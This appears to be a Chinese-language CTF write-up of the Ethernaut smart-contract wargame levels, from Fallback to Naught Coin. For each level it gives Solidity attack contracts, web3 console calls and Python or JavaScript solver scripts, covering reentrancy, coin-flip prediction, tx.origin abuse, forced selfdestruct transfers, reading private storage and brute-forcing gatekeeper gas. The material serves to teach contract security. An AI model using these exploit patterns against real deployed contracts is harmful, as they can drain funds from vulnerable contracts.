Fallback
await contract.contribute.sendTransaction({from: player, value: toWei('0.0009')})
await contract.sendTransaction({from: player, value: toWei('0.0001')})
await contract.withdraw()
receive 函数能够在合约账户接收以太币的时候触发 fallback,所以只要向合约发出带有以太币的交易就可以触发这个函数转移 owner
Fallout
await contract.Fal1out()
拼写错误
Coin Flip
contract Hack {
CoinFlip coin_flip = CoinFlip(0x23B4f570431e0A701d5E08B80b3ecb7F53E75204);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
}
function poc() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return coin_flip.flip(side);
}
}
def main():
# contractAddress = deploy()
contractAddress = "0x62ce547f26708dd8D311C14ac345664bAf7524F0"
for i in range(10):
print(f"Sending {i + 1}")
txn_receipt = transact(hacker, contractAddress, utils.calc_call_data("poc()"))
print(txn_receipt)
time.sleep(3)
Telephone
- tx.origin:交易发送方
- msg.sender:消息发送方
比如 用户账户 A → 合约账户 B → 合约账户 C,那么 C 获取到的 tx.origin 为 A,msg.sender 为 B。所以写个合约调用就行。
contract Hack {
Telephone tel;
constructor (address t) {
tel = Telephone(t);
}
function hack() public {
tel.changeOwner(msg.sender);
}
}
Token
整型下溢就行
Delegation
https://www.wtf.academy/solidity-advanced/Delegatecall/
当用户 A 通过合约 B 来 delegatecall 合约 C 的时候,执行的是合约 C 的函数,但是语境仍是合约 B 的:msg.sender 是 A 的地址,并且如果函数改变一些状态变量,产生的效果会作用于合约 B 的变量上。
contractAddress = "0xeb219f0c57D1C3e0a773c410C6284860B1959d78"
txn_receipt = transact(hacker, contractAddress, utils.calc_call_data("pwn()"))
Force
selfdestruct
强制转账。
contract Hack {
constructor () payable {
}
function poc(address game) public payable {
selfdestruct(payable(game));
}
}
Vault
存储的所有状态变量都是上链的
await web3.eth.getStorageAt(instance, 1)
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
King
可以看到题目合约在 receive 时会向前一个 king transfer,所以自己恶意合约的 receive 函数 revert 就行。
contract Hack {
King king;
constructor(address game) payable {
king = King(payable(game));
payable(address(game)).call{value: msg.value}("");
}
receive() external payable {
revert();
}
}
Re-entrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
重入攻击,可以发现 withdraw
中直接调用的 msg.sender.call{value:_amount}("")
并且是先转账再改变状态,所以可以在转账的时候再次调用 withdraw
达到重入的效果。
contract Hack {
Reentrance r;
uint cnt;
constructor(address payable ch) public payable {
r = Reentrance(ch);
cnt = 1;
}
function step1() public payable {
r.donate{value: 0.001 ether}(address(this));
}
function step2() public payable {
r.withdraw(0.001 ether);
}
receive() external payable {
if (cnt == 1) {
r.withdraw(0.001 ether);
cnt += 1;
}
}
}
Elevator
意思挺简单的,就是让一个函数第一次返回 false 第二次返回 true:
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
hack 合约
contract Hack {
Elevator e;
bool top;
constructor(address addr) {
e = Elevator(addr);
top = true;
}
function hack() public {
e.goTo(100);
}
function isLastFloor(uint _floor) external returns (bool) {
top = !top;
return top;
}
}
Privacy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
这里考了 solidity storage 的布局以及 arg encoding。具体内容可以参考 ctf-wiki 进行学习。
可以知道 key 在 slot[5]
并且对于 byte32 取 byte16 即相当于取它的前 16 个字节。
Gatekeeper One
gateOne
: require(msg.sender != tx.origin);
,使用合约调用即可。
gateThree
: 一系列类型转换和截断,总之这样构造就行:
uint64 key = 0x1000000000000000;
key = key + uint16(uint160(tx.origin));
主要是 gateTwo
计算 gas 实现 require(gasleft() % 8191 == 0);
这一步有点折磨。
观察到 etherscan 上有环境的 compiler version 为 0.8.12,所以尝试利用此版本本地编译合约后使用 forge debug
的方式精确找到 gas:
不过这里奇怪的问题是
forge test
能够通过:
但是远程测试网里会失败emmm,似乎字节码还是没对上。
所以还是改成了暴力枚举…
contract GatekeeperOneSolver {
function solve(address gatekeeper) public returns (bool) {
uint64 key = 0x1000000000000000;
key = key + uint16(uint160(tx.origin));
for (uint256 i = 200; i < 300; i++) {
(bool success, ) = address(gatekeeper).call{gas: 8191*3 + i}(abi.encodeWithSignature("enter(bytes8)", bytes8(key)));
if (success) {
return true;
}
}
return false;
// return GatekeeperOne(gatekeeper).enter{gas: 8191*3 + 271}(bytes8(key));
}
}
Gatekeeper Two
gateTwo
考察的是 solidity 创建 contract 过程,在 constructor
中执行时 extcodesize
会返回 0,其余两个 gate 不用太多解释了。
contract GatekeeperTwoSolver {
constructor(address gatekeeper) {
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (type(uint64).max);
GatekeeperTwo(gatekeeper).enter(bytes8(key));
}
}
Naught Coin
ERC20 可以 approve
然后 transferFrom
转钱。
function solve(address _player, address _coin) public {
coin = NaughtCoin(_coin);
coin.transferFrom(_player, address(this), 1000000 * (10 ** uint256(18)));
}
script
async function main() { await prepareEnvironment(); const solverContractApi = new web3.eth.Contract(solverArtifacts.abi); const rawSolverContract = solverContractApi.deploy({ data: solverArtifacts.bytecode, }); const solverContract = await rawSolverContract.send({ from: player.address }); const erc20 = new web3.eth.Contract(challengeArtifacts.abi, "0x573F4e2D0225AFEa52b0fFD4E6007b473d19DA3f"); await erc20.methods.approve(solverContract.options.address, "1000000000000000000000000").send({ from: player.address }); await solverContract.methods.solve(player.address, "0x573F4e2D0225AFEa52b0fFD4E6007b473d19DA3f").send({ from: player.address }); }